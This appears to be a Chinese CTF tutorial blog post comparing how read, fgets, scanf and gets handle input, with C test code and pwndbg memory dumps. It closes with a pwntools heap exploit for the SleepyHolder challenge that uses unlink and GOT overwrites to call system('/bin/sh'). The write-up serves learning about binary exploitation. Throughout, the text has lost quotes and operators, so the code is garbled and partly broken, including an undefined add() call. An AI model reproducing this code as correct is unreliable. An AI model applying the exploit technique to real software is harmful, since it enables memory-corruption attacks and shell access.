不同输入函数的区别比较及send和sendline使用read()read的内容都是从缓存区中读入的也就是说不管你输入的数据是大于等于还是小于他都是先放在输入缓冲区中的然后再从输入缓冲区中读取conunt个数据到buf里这时候就可能有三种情况输入字节数count此时多余的字节会仍然存放在出入缓冲区中输入字节数count会读取所有输入字节包括回车0x0a)输入字节数count会读取所有输入字节包括回车0x0a)实验如下注参考了XiDP和ZIKH26两位师傅的代码。malloc(初始时将内存均设置为‘b’)// step 1 测试read函数限定输入大小为8字节查看分别输入 a*6 a*8 a*10 后内存的样子printf(read a*6\n);read(0,ptr[0],8);while(getchar()!\ngetchar()!EOF);// 为了防止残留的\x0a影响后续的输入这里采用了getchar来把多余的\x0a吃掉printf(read a*8\n);read(0,ptr[1],8);while(getchar()!\ngetchar()!EOF);printf(read a*10\n);read(0,ptr[2],8);while(getchar()!\ngetchar()!EOF);sleep(0.1);printf(ptr[0]-%s,ptr[0]);printf(ptr[1]-%s,ptr[1]);printf(ptr[2]-%s,ptr[2]);效果read a*6 aaaaaa read a*8 aaaaaaaa read a*10 aaaaaaaaaa ptr[0]-aaaaaa bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbptr[1]-aaaaaaaabbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbptr[2]-aaaaaaaabbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb内存pwndbg x/8gx 0x555555559290 0x555555559290: 0x0000000000000000 0x0000000000000041 0x5555555592a0: 0x620a616161616161 0x6262626262626262 0x5555555592b0: 0x6262626262626262 0x6262626262626262 0x5555555592c0: 0x6262626262626262 0x6262626262626262 pwndbg 0x5555555592d0: 0x0000000000000000 0x0000000000000041 0x5555555592e0: 0x6161616161616161 0x6262626262626262 0x5555555592f0: 0x6262626262626262 0x6262626262626262 0x555555559300: 0x6262626262626262 0x6262626262626262 pwndbg 0x555555559310: 0x0000000000000000 0x0000000000000041 0x555555559320: 0x6161616161616161 0x6262626262626262 0x555555559330: 0x6262626262626262 0x6262626262626262 0x555555559340: 0x6262626262626262 0x6262626262626262当不处理结尾换行符时// step 1 测试read函数限定输入大小为8字节查看分别输入 a*6 a*8 a*10 后内存的样子printf(read a*6\n);read(0,ptr[0],8);//while (getchar() ! \n getchar() ! EOF); // 为了防止残留的\x0a影响后续的输入这里采用了getchar来把多余的\x0a吃掉printf(read a*8\n);read(0,ptr[1],8);//while (getchar() ! \n getchar() ! EOF);printf(read a*10\n);read(0,ptr[2],8);//while (getchar() ! \n getchar() ! EOF);sleep(0.1);printf(ptr[0]-%s,ptr[0]);printf(ptr[1]-%s,ptr[1]);printf(ptr[2]-%s,ptr[2]);效果read a*6 aaaaaa read a*8 aaaaaaaa read a*10 ptr[0]-aaaaaa bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbptr[1]-aaaaaaaabbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbptr[2]- bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb内存pwndbg x/8gx 0x555555559290 0x555555559290: 0x0000000000000000 0x0000000000000041 0x5555555592a0: 0x620a616161616161 0x6262626262626262 0x5555555592b0: 0x6262626262626262 0x6262626262626262 0x5555555592c0: 0x6262626262626262 0x6262626262626262 pwndbg 0x5555555592d0: 0x0000000000000000 0x0000000000000041 0x5555555592e0: 0x6161616161616161 0x6262626262626262 0x5555555592f0: 0x6262626262626262 0x6262626262626262 0x555555559300: 0x6262626262626262 0x6262626262626262 pwndbg 0x555555559310: 0x0000000000000000 0x0000000000000041 0x555555559320: 0x626262626262620a 0x6262626262626262 0x555555559330: 0x6262626262626262 0x6262626262626262 0x555555559340: 0x6262626262626262 0x6262626262626262可以发现当提示输入read a*10时程序并没有让我们读入就直接跳到后面的输出函数了因为当我们输入‘a’*8加回车时缓存区里回车和\x00并没有移入buf因此read a*10时只读入换行就结束了。综上我们可以发现read函数除非读入count字节数或者遇到\x00不然输入其他东西都无法阻止read停止直到读取完后放入指定的内存中结尾也不会添加\x00没读取到的部分则保持原样不动。fgets()// step 2 测试fgets函数限定输入大小为8字节查看分别输入 a*6 a*8 a*10 后内存的样子printf(fgets a*6\n);fgets(ptr[4],8,stdin);while(getchar()!\ngetchar()!EOF);printf(fgets a*8\n);fgets(ptr[5],8,stdin);while(getchar()!\ngetchar()!EOF);printf(fgets a*10\n);fgets(ptr[6],8,stdin);while(getchar()!\ngetchar()!EOF);sleep(0.1);效果pwndbg x/8gx 0x555555559390 0x555555559390: 0x0000000000000000 0x0000000000000041 0x5555555593a0: 0x000a616161616161 0x6262626262626262 0x5555555593b0: 0x6262626262626262 0x6262626262626262 0x5555555593c0: 0x6262626262626262 0x6262626262626262 pwndbg 0x5555555593d0: 0x0000000000000000 0x0000000000000041 0x5555555593e0: 0x0061616161616161 0x6262626262626262 0x5555555593f0: 0x6262626262626262 0x6262626262626262 0x555555559400: 0x6262626262626262 0x6262626262626262 pwndbg 0x555555559410: 0x0000000000000000 0x0000000000000041 0x555555559420: 0x0061616161616161 0x6262626262626262 0x555555559430: 0x6262626262626262 0x6262626262626262 0x555555559440: 0x6262626262626262 0x6262626262626262char *fgets(char *str, int size, FILE *stream);fgets与read不同的是fgets最多读取size - 1个字符并在末尾添加\0。当不处理结尾换行符时效果一样说明fgets读取后剩下的字节并不为下一次读入所用。scanf()printf(scanf a*6\n);scanf(%8s,ptr[8]);while(getchar()!\ngetchar()!EOF);printf(scanf a*8\n);scanf(%8s,ptr[9]);while(getchar()!\ngetchar()!EOF);printf(scanf a*10\n);scanf(%8s,ptr[10]);while(getchar()!\ngetchar()!EOF);sleep(0.1);内存pwndbg 0x555555559490: 0x0000000000000000 0x0000000000000041 0x5555555594a0: 0x6200616161616161 0x6262626262626262 0x5555555594b0: 0x6262626262626262 0x6262626262626262 0x5555555594c0: 0x6262626262626262 0x6262626262626262 pwndbg 0x5555555594d0: 0x0000000000000000 0x0000000000000041 0x5555555594e0: 0x6161616161616161 0x6262626262626200 0x5555555594f0: 0x6262626262626262 0x6262626262626262 0x555555559500: 0x6262626262626262 0x6262626262626262 pwndbg 0x555555559510: 0x0000000000000000 0x0000000000000041 0x555555559520: 0x6161616161616161 0x6262626262626200 0x555555559530: 0x6262626262626262 0x6262626262626262 0x555555559540: 0x6262626262626262 0x6262626262626262scanf是从第一个非空白字符空格 换行 制表符开始读入的就是你输入的数据在按下回车的之前输入的数据都会被存储在输入缓冲区包括回车当按下回车键之后scanf就会开始从输入缓冲区里面读取数据把读取的数据都传送到你指定的地址直到遇见了空白符然后停止。它仅仅是遇见空白符停止了但是空白符以及空白符后面的内容依然在输入缓冲区里面。gets()// step 4 测试gets函数输入之后是什么样子的仅输入一次输入6个字节的aprintf(gets a*6\n);gets(ptr[12]);while(getchar()!\ngetchar()!EOF);sleep(0.1);效果pwndbg 0x555555559590: 0x0000000000000000 0x0000000000000041 0x5555555595a0: 0x6200616161616161 0x6262626262626262 0x5555555595b0: 0x6262626262626262 0x6262626262626262 0x5555555595c0: 0x6262626262626262 0x6262626262626262使用 gets() 时系统会将最后输入的换行符也就是回车从缓冲区中取出来然后给舍弃因此缓冲区中不会遗留换行符总结—send和sendline选择read建议用sendfgetsgetsscanf这三个函数只能使用sendline,但是在使用时也可能会因为多余的\x00影响栈帧结构完整实验代码from pwn import*context.archamd64context.oslinuxcontext.log_leveldebugdefadd1(size,content):p.sendafter(3. Renew secret,b1)p.sendafter(3.Keep a huge secret and lock it forever\n,str(size))p.sendafter(Tell me your secret: ,content)defadd2(size,content):p.sendafter(3. Renew secret,b1)p.sendafter(2. Big secret\n,str(size))p.sendafter(Tell me your secret: ,content)defdelete(index):p.sendafter(3. Renew secret\n,b2)p.sendafter(2. Big secret\n,str(index).encode())defedit(size,content):p.sendafter(3. Renew secret\n,b3)p.sendafter(2. Big secret\n,str(size).encode())p.sendafter(Tell me your secret: \n,content)pprocess(./SleepyHolder)libcELF(/home/yaaaa/study/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so)elfELF(./SleepyHolder)add1(1,ba)add1(2,bb)delete(1)add1(3,bc)delete(1)chunk0x6020d0fdchunk-0x18bkchunk-0x10fake_chunkp64(0)p64(0x21)p64(fd)p64(bk)p64(0x20)add2(1,fake_chunk)delete(2)gdb.attach(p)payloadbb*8p64(elf.got[atoi])*2p64(elf.got[free])edit(1,payload)edit(1,p64(elf.got[puts]))delete(2)sp.recvuntil(b\n)[:-1].ljust(8,b\x00)libcbaseu64(s)-libc.symbols[atoi]print(hex(libcbase))system_addrlibcbaselibc.symbols[system]edit(1,p64(system_addr))add(1,2,b/bin/sh\x00\x00)delete(2)p.interactive()参考文章不同输入函数之间的区别 | XiDPzikh26.github.io